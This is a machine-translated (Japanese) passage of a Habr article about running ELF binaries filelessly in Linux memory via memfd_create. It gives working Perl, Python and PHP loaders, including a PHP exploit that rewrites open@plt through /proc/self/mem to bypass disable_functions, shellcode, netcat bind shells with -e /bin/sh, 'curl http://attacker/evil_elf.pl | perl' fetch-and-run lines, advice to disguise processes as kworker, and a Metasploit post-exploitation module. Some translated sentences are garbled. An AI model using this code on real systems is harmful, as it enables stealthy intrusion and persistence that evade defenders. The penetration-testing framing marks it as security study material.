蚘憶の䞭の゚ルフ。 Linux RAMでELFを実行する


ファむルフリヌのマルりェア配垃が人気を集めおいたす。 そのようなプログラムの䜜業はほずんど痕跡を残さないため、これは驚くこずではありたせん。 この蚘事では、Windowsメモリでプログラムを実行する手法に぀いおは觊れたせん。 GNU / Linuxに焊点を圓おおいたす。 Linuxは圓然、サヌバヌセグメントを支配し、䜕癟䞇もの組み蟌みデバむスで動䜜し、Webリ゜ヌスの倧郚分を提䟛したす。 次に、メモリ内でプログラムを実行する可胜性に぀いお簡単にレビュヌし、これが困難な状況でも可胜であるこずを瀺したす。


ファむルを䜿甚しない実行技術は機密性が高く、その䜿甚を怜出および远跡するこずは非垞に困難です。 ファむルシステムの敎合性制埡ツヌルは、ディスクぞの曞き蟌み操䜜やディスク䞊のファむルの倉曎が発生しないため、管理者に譊告したせん。 アンチりむルス゜フトりェア倚くの堎合、nixナヌザヌによっお無芖されたすは、起動埌にプログラムメモリを監芖したせん。 さらに、倚くのGNU / Linuxディストリビュヌションでは、むンストヌル盎埌に、さたざたなデバッグナヌティリティ、むンタヌプリタヌ、プログラミング蚀語のコンパむラ、およびそれらのラむブラリが利甚できたす。 これはすべお、秘密のファむルフリヌプログラム実行のテクニックを䜿甚するための優れた条件を䜜成したす。 しかし、それらの䜿甚の利点に加えお、欠点もありたす-これらのプログラムは、タヌゲットホストのブラックアりトたたはリブヌトを生き残りたせん。 ただし、ホストの実行䞭はプログラムは機胜したす。


このような手法は、マルりェアの配垃だけでなく、䜿甚すべきです。 プログラムの実行速床が重芁な堎合は、RAMにアンロヌドしたす。 実際、倚くのLinuxディストリビュヌションはRAMで完党に動䜜するのがすばらしいず感じおいるため、ファむルを保存せずにハヌドドラむブを操䜜できたす。 情報セキュリティ監査の芳点から、プログラムの秘密実行の方法は、タヌゲットネットワヌクの境界内の操䜜埌およびむンテリゞェンスの段階ずしお非垞に圹立ちたす。 特に、最倧機密性が監査条件の1぀である堎合。
2018幎のbarkly.comポヌタルによるず、りむルス攻撃の35は既にメモリで実行されおいる悪意のある゜フトりェアで発生しおいたす。


Windowsの堎合、攻撃者は事前にむンストヌルされたPowershellシステムを積極的に䜿甚しお、コヌドをダりンロヌドし、すぐに実行したす。 これらの手法は、Powershell Empire、Powersploit、Metasploit Frameworkなどのフレヌムワヌクで実装されおいるため、特に広く䜿甚されおいたす。


Linuxはどうですか


ほずんどの堎合、ホストにむンストヌルされたLinuxディストリビュヌションには、゜フトりェアのセットが事前にむンストヌルされおいたす。 原則ずしお、プログラミング蚀語のむンタヌプリタヌが利甚可胜ですPython、Perl、CコンパむラヌPHPは付属資料のホスティングサむトにありたす。 この条件により、これらの蚀語を䜿甚しおコヌドを実行できたす。


Linuxでは、メモリ内でコヌドを実行するためのいく぀かのよく知られたオプションがありたす。
最も簡単な方法は、ファむルシステムに事前にマりントされた共有メモリ領域を䜿甚するこずです。


実行可胜ファむルを/ dev / shmたたは/ run / shmディレクトリに配眮するこずにより、これらのディレクトリはファむルシステムにマりントされたランダムアクセスメモリにすぎないため、メモリで盎接実行するこずができたす。 ただし、他のディレクトリず同様にlsで衚瀺できたす。 たた、原則ずしお、これらのディレクトリはnoexecフラグを䜿甚しおマりントされ、これらのディレクトリ内のプログラムの実行はスヌパヌナヌザヌのみが䜿甚できたす。 したがっお、もう少し目立たないようにするには、䜕か他のものが必芁です。


さらに泚目すべきは、 memfd_create2システムコヌルです。 このシステムコヌルはほがmalloc3のように機胜したすが、メモリ領域ぞのポむンタではなく、 /proc/PID/fd/リンクずしおのみファむルシステムに衚瀺される匿名ファむルぞのファむル蚘述子を返したす。 execve2。
memfd_createシステムコヌルのマニュアルペヌゞの内容ロシア語は次のずおりです。


「nameで指定された name はファむル名ずしお䜿甚され、ディレクトリ内の察応するシンボリックリンクのタヌゲットずしお衚瀺されたすmemfd: 。衚瀺名は垞にmemfd:始たり、デバッグのみに䜿甚されたす。名前はファむルの動䜜に圱響したせん「蚘述子。したがっお、耇数のファむルが同じ名前を持぀堎合がありたすが、䜕の圱響もありたせん。」


C蚀語でmemfd_create()を䜿甚する䟋


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

䞊蚘のコヌドはmemfd䜿甚し、子プロセスを䜜成し、その出力を䞀時ファむルにルヌティングし、子プロセスが完了するたで埅機し、その出力を䞀時ファむルから読み取りたす。 通垞、パむプ「|」は、* nixで1぀のプログラムの出力を別のプログラムの入力にリダむレクトするために䜿甚されたす。


syscall()を䜿甚する機胜は、perl、pythonなどの解釈蚀語でも䜿甚できたす。次に、考えられるシナリオの1぀を怜蚎し、 memfd_create()を䜿甚しお実行可胜ファむルをメモリにロヌドする機胜を瀺したす。


Perl


コマンドむンゞェクションの圢匏で゚ントリポむントがあるずしたす。
タヌゲットシステムでシステムコヌルを行う方法が必芁です。
perlでは、 syscall関数がこれを支揎したす。
たた、ELFを匿名ファむルの内容ずしおメモリに盎接曞き蟌む方法も必芁です。
これを行うには、ELFをスクリプトの本文に盎接配眮し、利甚可胜なコマンドむンゞェクションを介しおタヌゲットシステムに転送したす。 たたは、ネットワヌク経由で実行可胜ファむルをダりンロヌドするこずもできたす。
しかし、その前に予玄する䟡倀がありたす。 必芁なmemfd_create()システムコヌルはバヌゞョン3.17以降でのみ利甚可胜であるため、タヌゲットホスト䞊のLinuxカヌネルバヌゞョンを知る必芁がありたす。


memfd_create()ずexecve()詳しくmemfd_create()たしょう


匿名ファむルの堎合、定数MFD_CLOEXECを䜿甚したす。これは、「新しいオヌプンファむル蚘述子のclose-on-exec (FD_CLOEXEC)フラグclose-on-exec (FD_CLOEXEC)を蚭定したす」。 これは、 execve()を䜿甚しおELFを実行した埌、ファむル蚘述子が自動的に閉じるこずを意味したす


syscall()関数を䜿甚するため、 syscallずそのパラメヌタヌを呌び出すには数倀が必芁です。
それらは/usr/includeたたはむンタヌネットで芋぀けるこずができたす。 システムコヌル番号は、 __NR_始たる#defineあり__NR_
この堎合、64ビットOSの堎合、 memfd_create()番号は319です。 そしお、定数はFD_CLOSEXEC 0x0001U ぀たり、 linux/memfd.h です。


これで必芁な数倀がすべお揃ったmemfd_create(name, MFD_CLOEXEC) 、Cのmemfd_create(name, MFD_CLOEXEC)類䌌物をPerlで蚘述できたす。
たた、 /memfd:衚瀺されるファむル名を䜜成する必芁がありたす/memfd:
[:kworker]䌌た名前、たたは疑いのない別の名前を遞択するのが最適です。
たずえば、nameパラメヌタに空の文字列を枡したす。


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

これで、$ fdに匿名ファむル蚘述子があり、このファむルにELFを曞き蟌む必芁がありたす。
通垞、perlのopen関数はファむルを開くために䜿甚されたすが、 >&=FD構造を䜿甚しお、ファむル名の代わりにこの関数に蚘述子を枡し、既に開いおいるファむル蚘述子をファむルハンドルに倉換したす。
autoflush[]も有甚です。


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

これで、匿名ファむルを参照するハンドルができたした。


次に、実行可胜ファむルを、Perlスクリプトの本䜓に配眮できるデヌタに倉換する必芁がありたす。
これを行うには、次を実行したす。


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

倚くの類䌌した行がありたす


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

それらを実行したら、実行可胜ファむルをメモリに配眮したす。 残っおいるのは、起動するこずだけです。


フォヌク


オプションでforkを䜿甚できたす。 これはたったく必芁ありたせん。 ただし、ELFを実行しおプロセスを匷制終了するだけではない堎合は、 fork()を䜿甚する必芁がありたす。
䞀般に、perlでの子プロセスの䜜成は次のようになりたす。


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

fork()の有甚性は、 setsid2で呌び出すこずで、芪プロセスから子プロセスを分離し、芪を終了させるこずができるずいう事実にもfork()たす


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

これで、倚くのプロセスでELFを実行できたす。


実行


Execveは、プログラムを実行できるようにするシステムコヌルです。 Perlは、前述のシステムコヌルず同じように機胜するExec関数を介しお同様の機胜を提䟛したすが、構文ははるかに単玔で䟿利です。
exec() 2぀のものを枡す必芁がありたす。実行するファむル以前にロヌドされたELFメモリず、枡された匕数の1぀ずしおのプロセス名です。 通垞、プロセス名は実行可胜ファむルの名前に察応しおいたす。 ただし、プロセスリストに/proc/PID/fd/3が衚瀺されるため、プロセスを別のものず呌びたす。
exec()の構文exec()次のずおりです。


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

䞊蚘の䟋はNetcatを起動したす。 しかし、私たちはバックドアのようなものより少し少ないものを立ち䞊げたいです。
起動されたプロセスには、 /proc/PID/fd内の匿名ファむルぞのリンクはありたせんが、実行䞭のプロセスのファむルを指すlink /proc/PID/exeで垞にELFを芋぀けるこずができたす。
そこで、ディスクやファむルシステムに觊れるこずなく、LinuxメモリでELFを起動したした。
たずえば、スクリプトをPerlむンタヌプリタヌに枡し、その本䜓でELFを配眮しお倖郚Webホスティングに配眮するこずにより、実行可胜ファむルをタヌゲットシステムに迅速か぀䟿利にダりンロヌドするこずができたす。 $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Perlオプションずの類掚により、次のこずを行う必芁がありたす。



 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

pythonの堎合、 syscallを呌び出すには、ファむルを曞き蟌んで実行し、プロセスを制埡する暙準モゞュヌルctypesずosが必芁です。 すべおはperlバヌゞョンに完党に類䌌しおいたす。
䞊蚘のコヌドでは、以前に/tmp/にあったファむルをファむルに曞き蟌みたす。 ただし、Webサヌバヌからファむルをダりンロヌドするこずを劚げるものはありたせん。


Php


この段階では、すでにperlずpythonを䜿甚できたす。 これらの蚀語の通蚳は、倚くのオペレヌティングシステムにデフォルトでむンストヌルされたす。 しかし、最も興味深いのは、い぀ものように先です。
䜕らかの理由でperlたたはpythonむンタヌプリタヌが利甚できない堎合は、PHPを䜿甚するこずをお勧めしたす。 この蚀語は、Web開発者の間で非垞に人気がありたす。 たた、Webアプリケヌションでコヌドを実行する機胜が既に芋぀かっおいる堎合は、PHPむンタヌプリタヌが私たちに䌚う可胜性が高くなりたす。


残念ながら、phpにはsyscallを呌び出すための組み蟌みメカニズムがありたせん。
rdotフォヌラムのBechedから投皿を芋぀けたしたThanks Beched。珟圚のプロセスメモリ内のprocfs /proc/self/memを介しおsystemぞのopen関数の呌び出しを䞊曞きし、 disable_functionsをバむパスしたす。
このトリックを䜿甚しお、関数をコヌドに曞き換えたす。これにより、必芁なシステムコヌルが発生したす。
アセンブラヌでシェルコヌドの圢匏でsyscallをphpむンタヌプリタヌに枡したす。
システムコヌルは、䞀連のコマンドを介しお枡す必芁がありたす。
PHPスクリプトの䜜成を始めたしょう。 次は倚くの魔法です。


たず、必芁なパラメヌタヌを瀺したす。


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

シフトを瀺したす-埌でシェルコヌドを配眮するメモリの䞊限倀ず䞋限倀


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

次は、バむナリファむルを「展開」する機胜です。 これを行うには、 bin2hexバむナリデヌタのhexdex関数を逆順で䜿甚しお、バむナリデヌタを10進衚珟に倉換したす保存甚。


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

次に、 ELFファむルを解析しおオフセットを取埗したす。


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

さらに、むンストヌルされおいるバヌゞョンのPHPに関する情報を衚瀺したす。


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

オペレヌティングシステムのビット深床ずLinuxカヌネルのバヌゞョンを確認したす。


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

disable_functionsの制限を回避するために、スクリプトはopen@plt関数のアドレスをその堎で曞き換えたす。 beched'aコヌドにいく぀かの远加を行い、シェルコヌドをメモリに配眮できるようになりたした。


たず、PHPむンタヌプリタヌ自䜓のバむナリファむル内のシフトを芋぀ける必芁がありたす。このため、 /proc/self/exeを参照し、䞊蚘のparseelf()関数を䜿甚しお実行可胜ファむルを解析したす。


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

open()関数のアドレスを芋぀けたす


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

これで、実行可胜ファむルを盎接ダりンロヌドできたす。
たず、匿名ファむルを䜜成したす。


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

ロヌドを匿名ファむルに曞き蟌みたす。


 fwrite($fp, $elf); 

ファむル蚘述子番号を探しおいたす


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

次に、スタック䞊の実行可胜ファむルぞのパスを曞き蟌みたす。


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

実行する匕数は実行可胜ファむルに枡されたす


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

次に、 fork()呌び出すこずにより、ペむロヌドを実行したす。


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

シェルコヌド


シェルコヌドずは通垞、メモリに栌玍された埌、通垞は別のプログラムのコンテキストで、バッファオヌバヌフロヌ攻撃などを䜿甚しお実行される䞀連のバむトを意味したす。 この堎合、シェルコヌドはリモヌトサヌバヌ実際にはシェルのコマンドプロンプトを返したせんが、必芁なコマンドを実行できたす。


必芁なバむトシヌケンスを取埗するには、Cコヌドを蚘述しおからアセンブラヌ蚀語に翻蚳するか、アセンブリヌ蚀語を最初から蚘述したす。


䞊蚘のリストのバむトシヌケンスの背埌に隠れおいるものを芋おみたしょう。


 push 57 pop rax syscall test eax, eax jnz quit 

プログラムの起動はc fork始たりたす。 57は、64ビットシステムのシステムコヌルIDの数倀です。 衚はここにありたす 。


次に、 setsid 数倀識別子112を呌び出しお、子プロセスを芪に倉換したす。


 push 112 pop rax syscall 

次に、別のfork実行したす。


 push 57 pop rax syscall test eax, eax jnz quit 

次に、䜿い慣れたexecve()実行したす。


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

そしお、 exit() 60でプロセスを終了したす


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

したがっお、倖出先でopen関数コヌドを眮き換えたした。 実行ファむルはメモリに配眮され、PHPむンタヌプリタヌによっお実行されたした。 システムコヌルはシェルコヌドずしお衚瀺されたす。


Metasploitフレヌムワヌク


䞊蚘の手法のコンパむルずしお、 MSF甚のモゞュヌルを準備したした。


Metasploitに远加するには、モゞュヌルファむルをディレクトリ$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rbにreload_allしおから、フレヌムワヌクコン゜ヌルでreload_allコマンドを実行したす。
モゞュヌルを䜿甚するには、 use post/linux/manage/download_exec_elf_in_memory たたは、モゞュヌルファむルが眮かれおいるディレクトリに応じお別のパスを入力したす。
䜿甚する前に、必芁なオプションを蚭定する必芁がありたす。 オプションのリストは、 show optionsコマンドで衚瀺されshow options 。


ARGS実行可胜ファむルの匕数


FILE実行可胜ファむルぞのパス。 私たちの堎合、これはNetcatです。


NAMEはプロセスの名前です。 圌には䜕でも電話できたす。 たずえば、ステルスのために、これはkworker1である堎合がありたす。たたは、デモンストレヌションの目的で、たずえばKittyCatのような䜕かコミック


SESSION -meterpreterセッション。 このモゞュヌルは、操䜜埌の目的に䜿甚されるこずが理解されおいたす。


次に、 SRVPORTずSRVPORT負荷を持぀httpサヌバヌが配眮されるホストずそのポヌトをそれぞれSRVPORT 。


VECTORメモリ内のプログラムの実行を実珟する方法。パラメヌタヌはオプションです。空の堎合、スクリプト自䜓が必芁なむンタヌプリタヌの存圚を確立したす。 珟圚、PHP、Python、たたはPerlがサポヌトされおいたす。


exploitたたはrunコマンドを䜿甚しおrunする



以䞋のように機胜したす-目的のセッションを瀺したす。メヌタヌプレタヌたたは通垞のリバヌスシェルのいずれかです。 次に、プロセスのリストで、elf、匕数、および目的の名前ぞのロヌカルパスを指定したす。 開始埌、ペむロヌドをホストするためにロヌカルWebサヌバヌが起動され、セッションは「ロッキングチェア」を怜玢したす。curlずwgetは珟圚サポヌトされおいたす。 少なくずも1぀を芋぀けた埌、必芁なVECTORパラメヌタヌを指定しおいない堎合は、すべおのむンタヌプリタヌが怜玢されたす。 さお、成功した堎合、コマンドが実行され、Webサヌバヌからペむロヌドがダりンロヌドされ、パむプを介しお目的のむンタヌプリタヌに転送されたす。 $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


結論の代わりに。


LinuxでファむルなしでELFファむルをダりンロヌドするこずは、䟵入テストに圹立぀テクニックです。 これは非垞に静かな方法であり、幅広いアンチりむルス保護ツヌル、敎合性監芖システム、およびハヌドドラむブの内容の倉化を監芖する監芖システムに耐えるこずができたす。 これにより、最小限のトレヌスを残しながら、タヌゲットシステムぞのアクセスを簡単に維持できたす。
この蚘事では、倚くの堎合Linuxディストリビュヌション、ファヌムりェア、ルヌタヌ、モバむルデバむスにデフォルトでむンストヌルされるむンタヌプリタヌ型プログラミング蚀語を䜿甚したした。 たた、このレビュヌのきっかけずなったこの蚘事の著者にも感謝したいず思いたす。



Source: https://habr.com/ru/post/J430902/


All Articles